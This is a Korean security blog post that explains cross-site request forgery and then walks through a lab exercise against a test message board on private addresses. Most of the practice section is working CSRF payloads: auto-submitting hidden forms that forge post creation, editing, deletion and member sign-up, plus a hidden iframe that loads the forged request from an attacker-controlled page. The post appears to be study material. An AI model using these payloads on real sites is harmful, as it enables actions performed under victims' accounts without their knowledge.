독개

CSRF(크로스 사이트 요청 변조)

by #독개#

크로스 사이트 요청 변조

개념

 - 악성 스크립트를 이용하여 정상적인 사용자로 하여금 조작된 요청을 서버에 전송하며 서버는 요청에 대한 응답을 보내줌

 - 모든 공격은 피해자의 권한으로 수행됨

특징

 - OWASP TOP 10 - WEB 2010, 2013 각 5위, 8위

 - 웹 동작의 사전 조사가 어느정도 필요함(Request/Response)

 - XSS 공격과 흡사한 공격 형태를 보이며 XSS가 가능하다면 80~90% CSRF 또한 가능함

   [취약점이 발생하는 근본원인(html 스크립트를 이용할수 있음)이 동일함]

 - 피해자 계정의 권한 등급에 따라 피해 정도가 달라짐

 - 피해자에 의해 Request가 발생하기 때문에 실제 공격자의 IP 추적이 어려움

   ex) 내게시글을 A가보면 A가 공격을하고, 관리자가 읽으면 관리자가 공격을 함

   ex) 내글을 읽으면 자기 비밀번호를 1234로 바꿔버리게함

영향

 - 피해자의 권한 안에서 모든 기능 가능

 - 개인정보 수정 및 회원 등급 수정

 - 강제 구매 / 판매

 - 글 작성 및 댓글 작성

원인

 - 정상적인 요청과 비정상적인 요청에 대한 정당성 여부를 서버가 구분하지 못하는 경우

 - XSS 취약점의 원인 또한 CSRF취약점의 원인 

Point

 - XSS와의 차이점 (둘다 구동은 클라에서 하지만, 공격목표가 다르다)

   XSS : 공격자는 희생자의 브라우저에 스크립트를 실행하는 것으로 이용자가 목표

   CSRF : 피해자의 권한 범위에서 데이터를 변조하거나 특정 액션을 발생시키는 것으로 대부분 웹 서버가 목표





실습# 게시물등록


소스를 보고 Form태그를 확인해보면 요청Form을 파악해서 똑같이 만들수있다.


<form id="form1" name="form1" method="post" action="board_write_reg.asp" enctype="multipart/form-data">

<table width="600" border="0">

<tbody><tr>

<td width="150" bgcolor="#80e12a"><div align="center">작성자</div></td>

<td width="450">&nbsp;이상진</td>

</tr>

<tr>

<td width="150" bgcolor="#80e12a"><div align="center">제목</div></td>

<td width="450"><label>

<input type="text" name="title" id="title"></label>

</td>

</tr>

<tr>

<td height="189" bgcolor="#80e12a"><div align="center">내용</div></td>

<td><label>

<textarea name="content" id="content" cols="60" rows="10"></textarea>

</label></td>

</tr>

<tr>

<td width="150" bgcolor="#80e12a"><div align="center">파일첨부</div></td>

<td width="450"><input type="FILE" name="UPFILE" value="검색"></td>

</tr><tr>

<td height="59" colspan="2"><label>

<div align="center">

<input type="submit" name="button" id="button" value="쓰기">

<input type="reset" name="button2" id="button2" value="취소">

</div>

</label></td>

</tr>

</tbody></table>

</form>


enctype="multipart/form-data : 파일업로드가 있는 게시물이므로 해줘야함


쓸데없는거 다날리고 <form>, <input> 태그만 싹 간추리면


<form method="post" action="board_write_reg.asp" enctype="multipart/form-data">

<input type="text" name="title" id="title" value="해킹된글(글제목)">

<textarea name="content" id="content" cols="60" rows="10">글내용~~</textarea>

<input type="submit" name="button" id="button" value="쓰기">

<input type="reset" name="button2" id="button2" value="취소">

</form>


근데 저렇게 게시판에 등록해두면 쓰기버튼을 눌러야만 <form>태그가 날아가잖아 그래서 스크립트를 하나더써준다.

보기만 해도 바로 실행되게


<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">

<input type="text" name="title" id="title" value="해킹된글(글생성)">

<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>

<input type="submit" name="button" id="button" value="쓰기">

<input type="reset" name="button2" id="button2" value="취소">

</form>


이렇게 글을 생성해두자



관리자가 이제 이글을 읽엇다 치자!



관리자권한으로 글이써짐..


근데 여기서문제가 자동글완성(보면글생성)을 딱 클릭하는순간

이런 화면이 한번뜨면서 자동으로 넘어간단 말이지

으흠.. 이러면 이걸 숨겨야겠지 그럴려면 <input type=hidden 으로 다 바꿔주자

<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">

<input type="hidden" name="title" id="title" value="해킹된글(글생성)">

<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>

<input type="hidden" name="button" id="button" value="쓰기">

<input type="hidden" name="button2" id="button2" value="취소">

</form>


여기서 최종적으로 더 완벽하게 안보이게 하려면 <iframe>을 활용해서 내가원하는 코드를 주입하는거다


예를들어 해커 서버에 hack.html에 바로위에 코드를 적어두고


게시판에 이렇게 적어주면 게시판을 오픈했을때


<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe>

정상적인 글입니다. 안녕하세요



이렇게 보이고 다른 iframe에서 요청이 실행된다.


이런식으로 회원가입, 글삭제, 글수정 등등 서버로 Request하는건 다가능하다.




실습예시)

input(태그를 전부다 hidden으로 해두면 안보인다.)

iframe을 이용하면 완전히 숨길수있다.)

<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe> (아이프레임완전숨기는 태그법)


글수정


<body onload="document.csrf.submit();">

<form name="csrf" action="board_update_reg.asp" method="POST">

<input type="text" name="user" value="해킹됨">

<input type="text" name="title" value="해킹성공글">

<input type="hidden" name="idx" value="7">

<textarea name="contents" rows="10" cols="60">수정됬지롱~~~</textarea>

<input type="submit" value="변경">

<input type="reset" value="취소">

</form>


글생성 (글생성시에 파일업로드기능이 잇기때문에 multipart/form-data를 꼭 기재해줘야한다)


<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">

<input type="text" name="title" id="title" value="해킹된글(글생성)">

<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>

<input type="submit" name="button" id="button" value="쓰기">

<input type="reset" name="button2" id="button2" value="취소">

</form>



글삭제


(버프수트로 본 소스)

GET /board/board_delete.asp?num=17 HTTP/1.1

Host: 192.168.1.12

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.1.12/board/board_view.asp?num=17

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: ASPSESSIONIDGQGGQLPU=LAOJBGDDOFELJPBPLKOFKJAM

Connection: close


(적어준코드)

<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="board_delete.asp">

<input tyep="hidden" name="num" value="17">

</form>


회원가입


(버프수트로 본 소스)

POST /board/memberAct.asp HTTP/1.1

Host: 192.168.1.12

Content-Length: 223

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.12

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.1.12/board/mem_reg_form.asp

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: ASPSESSIONIDGQGGQLPU=LAOJBGDDOFELJPBPLKOFKJAM

Connection: close


name=%BC%BA%B8%ED%C4%AD&memberid=%BE%C6%C0%CC%B5%F0%C4%AD&pass1=votmdnjem&pass2=votmdnjem&

post1=112&post2=112&addr1=%C1%D6%BC%D2%B4%D9&addr2=%BB%F3%BC%BC%C1%D6%BC%D2%B4%D9&tel1=010&tel2=8283&tel3=1471&mail=wjioef%40nate.com


(적어준코드)

<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="memberAct.asp">

<input tyep="hidden" name="name" value="이상진">

<input tyep="hidden" name="memberid" value="nanagame2">

<input tyep="hidden" name="pass1" value="tkdwls">

<input tyep="hidden" name="pass2" value="tkdwls">

<input tyep="hidden" name="post1" value="112">

<input tyep="hidden" name="post2" value="112">

<input tyep="hidden" name="addr1" value="울산">

<input tyep="hidden" name="addr2" value="남구">

<input tyep="hidden" name="tel1" value="010">

<input tyep="hidden" name="tel2" value="444">

<input tyep="hidden" name="tel3" value="8888">

<input tyep="hidden" name="mail" value="abcd@nate.com">

</form>


글생성(iframe으로 완전안보이게)


<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe>


hack.html에는


<body onload="document.csrf.submit();">

<form name="csrf" method="post" action="http://192.168.1.12/board/board_write_reg.asp" enctype="multipart/form-data">

<input type="hidden" name="title" id="title" value="해킹된글(글생성)iframe적용">

<textarea name="hidden" id="content" cols="60" rows="10">글내용이양~~</textarea>

<input type="hidden" name="button" id="button" value="쓰기">

<input type="hidden" name="button2" id="button2" value="취소">

</form>



블로그의 정보

독한 개발자

#독개#

활동하기